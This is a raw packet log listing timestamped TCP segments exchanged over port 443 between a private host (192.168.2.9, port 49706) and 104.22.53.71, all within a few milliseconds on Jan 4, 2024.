Jan 4, 2024 08:37:17.353935003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353966951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353970051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.353976965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.353980064 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354022980 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354028940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354043007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354070902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354074955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354089975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354106903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354125023 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354134083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354137897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354175091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354217052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354233027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354262114 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354265928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354283094 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354319096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354336977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354368925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354372978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354402065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354403973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354419947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354451895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354455948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354470968 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354475975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354500055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354526997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354531050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354552984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354554892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354561090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354593992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354598045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354626894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354626894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354648113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354672909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354676962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354691982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354700089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354706049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354738951 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354743004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354767084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354769945 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354784012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354799032 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354839087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354855061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354860067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354865074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354888916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354911089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354916096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354921103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354939938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354943991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354959011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354963064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354981899 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.354991913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.354996920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355025053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355027914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355058908 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355060101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355083942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355087996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355113983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355119944 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355154991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355163097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355170012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355195999 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355221033 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355256081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355272055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355298996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355303049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355319977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355329037 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355341911 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355377913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355387926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355412006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355424881 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355472088 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355473042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355482101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355536938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355544090 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355547905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355592966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355597019 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355606079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355633974 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355640888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355657101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355663061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355690002 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355714083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355730057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355755091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355760098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355818987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355819941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355835915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355878115 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355882883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355895042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355899096 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355911970 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355947971 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355952978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355982065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.355983973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.355997086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356031895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356036901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356055975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356084108 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356084108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356095076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356111050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356148005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356168032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356184006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356209993 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356214046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356232882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356254101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356271029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356285095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356312990 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356316090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356349945 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356352091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356370926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356374025 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356379032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356431007 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356439114 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356439114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356447935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356473923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356482029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356499910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356503963 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356513977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356530905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356559038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356570005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356575012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356595993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356606960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356638908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356654882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356654882 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356663942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356692076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356712103 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356717110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356765032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356775999 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356780052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356806040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356810093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356852055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356853962 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356862068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356894016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356898069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356899023 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356909037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.356951952 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356981993 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.356990099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357007027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357038021 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357042074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357055902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357064009 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357073069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357101917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357105970 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357119083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357135057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357135057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357168913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357173920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357202053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357202053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357219934 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357254982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357259035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357273102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357280970 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357331991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357336044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357377052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357392073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357415915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357419968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357440948 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357448101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357461929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357490063 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357494116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357516050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357532978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357594967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357599974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357604027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357621908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357672930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357676983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357681990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357709885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357733965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357748032 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357753038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357768059 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357773066 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357806921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357811928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357832909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357856989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357861042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357883930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357891083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357903957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357933044 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357938051 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357964993 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.357969999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.357985973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358022928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358026981 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358041048 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358056068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358069897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358099937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358103991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358123064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358129025 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358143091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358165026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358169079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358197927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358200073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358213902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358254910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358259916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358289003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358300924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358314991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358345032 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358349085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358382940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358385086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358401060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358428955 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358433962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358459949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358463049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358483076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358508110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358511925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358531952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358537912 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358557940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358573914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358577967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358609915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358637094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358653069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358681917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358685017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358711004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358712912 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358726025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358758926 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358762980 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358774900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358786106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358788967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358831882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358836889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358861923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358877897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358906031 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358910084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358932972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.358948946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358963013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.358998060 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359002113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359009027 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359018087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359046936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359066010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359070063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359091043 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359147072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359163046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359194994 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359199047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359214067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359221935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359229088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359277010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359281063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359285116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359328032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359333992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359338045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359381914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359390974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359411001 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359440088 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359442949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359467030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359472036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359499931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359518051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359522104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359555960 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359566927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359572887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359620094 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359623909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359632015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359648943 CET	443	49706	104.22.53.71	192.168.2.9
